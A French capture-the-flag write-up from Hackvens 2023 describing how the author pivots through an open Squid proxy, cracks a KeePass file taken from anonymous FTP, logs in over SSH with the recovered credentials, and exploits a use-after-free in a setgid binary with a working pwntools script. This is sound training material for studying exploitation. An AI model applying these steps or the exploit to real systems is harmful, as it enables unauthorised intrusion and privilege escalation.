Hacker Challenge

Hackvens 2023 - Write Up PWN- Discovery

Cette fois-ci, une IP nous est donnée. Après un scan, on remarque que le port 3128 est ouvert...

Enoncé

52.47.125.205

Reconnaissance / Obtention d’un shell

Cette fois-ci, une IP nous est donnée.
Après un scan, on remarque que le port 3128 est ouvert.
Il s’agit d’un service squid-http qui agit comme un proxy web.

Un squid proxy, tout ce qu’il y a de plus classique

Après avoir ajouté « http 52.47.125.205 3128 » dans le fichier « /etc/proxychains.conf », il est possible d’accéder au réseau interne au travers de ce proxy, et de relancer le scan, sur 127.0.0.1, en ajoutant proxychains devant nos commandes.
On remarque alors 3 ports ouverts:

  • 21
  • 22
  • 3128

Le FTP autorise l’authentification anonyme, et nous permet d’obtenir le fichier db, qui est un fichier keepass

file db

En tentant un bruteforce avec rockyou, on découvre le mot de passe: ‘pescado’.

Pétage de hash en règle

Ce qui nous permet d’obtenir les identifiants ssh:
boissonchaude:npjYSaFE0ysf5pjMW960

Le contenu du keepass

Allez boom, un shell user

Elévation de privilèges

Dans le home de boissonchaude, on remarque un binaire setguid:

Oh, un binaire à pwn !

Le binaire « program » qui est fourni est un exécutable linux x86-64.

file program

En termes de protections:

  • Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
  • No canary: Pas de protections contre les buffers overflow
  • NX: La stack n’est pas exécutable
  • PIE: Les adresses du programme seront aléatoires (à un offset près

)

checksec program

Reverse

Il s’agit d’un système de messagerie, qui propose plusieurs choix :

lancement du binaire

  • Create a new message

Create a new message

Le programme lit 0x100 bytes depuis l’entrée stdin (entrée utilisateur), alloue un buffer « message » de la taille lue avec malloc, puis les y copie.
L’adresse du buffer est stockée dans rbp-0x10.

  • Delete unsent message

Delete unseen message

Le programme libère le buffer « message ». L’adresse du buffer n’est pas remise à 0.

  • Register your username

Register your username

Le programme vérifie l’adresse pointée par rbp-8. Il s’agit d’un buffer associé au username.
S’il est déjà alloué, il le libère.
Ensuite, il vérifie que le nom d’utilisateur n’est pas admin.

Vérification du username

Si c’est bien le cas, il alloue une structure S de taille 0x10 (16).
Ensuite, le programme alloue une nouvelle structure de la taille du username, et l’y copie avec strcpy.
Les premiers 8 bytes de S contiennent un pointeur vers le username, et les 2 bytes d’après contiennent un 0. Au vu de la fonction « User status », ces deux bytes correspondent à l’état du compte (0 => inactif, 1=> actif).
Enfin, l’adresse de username nous est affichée avec un printf.

  • Delete Username

Delete username

Le programme vérifie que l’adresse pointée par rbp-8 (le buffer username) n’est pas vide. Si elle est allouée, il va libérer l’adresse de la chaine de caractère du username, puis la structure username. L’adresse du buffer n’est pas remise à 0.

  • Read the flag

Read the flag

Le programme vérifie que le username est bien admin. Si oui, il affiche le contenu du fichier ‘/flag.txt’.

  • User status

User flag

Le programme affiche le username enregistré, ainsi que son activité.

  • Exit

Quitte le programme. On a pas vraiment besoin d’un screen là 🙂

La vulnérabilité

Le problème ici, est une vulnérabilité Use After Free. En effet, il n’y a pas de vérification sur le fait que le username soit alloué où non. En effet, le pointeur n’est jamais remis à 0.
Si génère une structure username, et qu’on la supprime ensuite, le pointeur vers cette structure reste présent, sans que le bloc ne soit alloué. Ainsi, il est possible d’écraser la structure associée en la réallouant, puis en y inscrivant les données voulues.

Libération du username, magnifiquement fait via Paint.Net 😀

  • Sur l’état 1, register username a été appelé et le username a été alloué (zone rouge).
  • Sur l’état 2, on delete username, mais le pointeur de username reste toujours présent (il n’est pas vidé).
  • Sur l’état 3, on alloue un message (zone jaune), qui va écraser la structure username, et qui nous permettra de créer un username personnalisé, en y inscrivant une adresse, puis un entier.

Exploitation

Voici une méthode pour devenir l’utilisateur admin:

On alloue un username, puis on le supprime. Supposons qu’il soit à l’adresse A. malloc a alloué puis libéré deux blocs de taille 0x20 (la structure username dans le bloc X , à l’adresse A, et la chaine de caractère dans le bloc Y, à l’adresse A+0x20).

Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A (car libérée en dernier). On pourra y écrire l’adresse du bloc Y (A+0x20), puis l’entier 1, pour mettre l’était à actif. En effet, on réécrase la structure username.

Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A+0x20 (car libérée en deuxième). On pourra y écrire admin, pour y forger un faux nom d’utilisateur.

Solve.py

from pwn import *

#Connexion ssh à distance
s = ssh(host='127.0.0.1',
    user='boissonchaude',
password='npjYSaFE0ysf5pjMW960',
port=22)

r = s.run(['/home/boissonchaude/program'])

#On alloue un username
r.recvuntil(b'Your choice: ')
print(r.sendline(b'3'))
r.recvuntil(b'Your username: ')
print(r.sendline(b'khacktus'))
data = r.recvuntil(b'Your choice: ')
addr = int(re.findall(b': ([0-9]*)\n', data)[0])
print("leaked addr: %08x"%addr)

#On supprime le username
r.sendline(b'4')
print(r.recvuntil(b'Your choice: '))

#On alloue un message par dessus le username
r.sendline(b'1')
print(r.recvuntil(b'Your message: '))
r.send(p64(addr+0x20)+p64(1))

#On alloue un bloc message avec le username 'admin'
print(r.recvuntil(b'Your choice: '))
r.sendline(b'1')
print(r.recvuntil(b'Your message: '))
r.send(b'admin')
print(r.recvuntil(b'Your choice: '))

r.interactive()

L’exploit en image 🙂

FLAG

HACKVENS{pr0xY_@Nd_l34k5_f0R_Th3_w1N!!@#}

Bdenneu
Bdenneu
|
Ingénieur Sécurité

Yolo

Que savent les hackers sur votre entreprise ?
Faire le test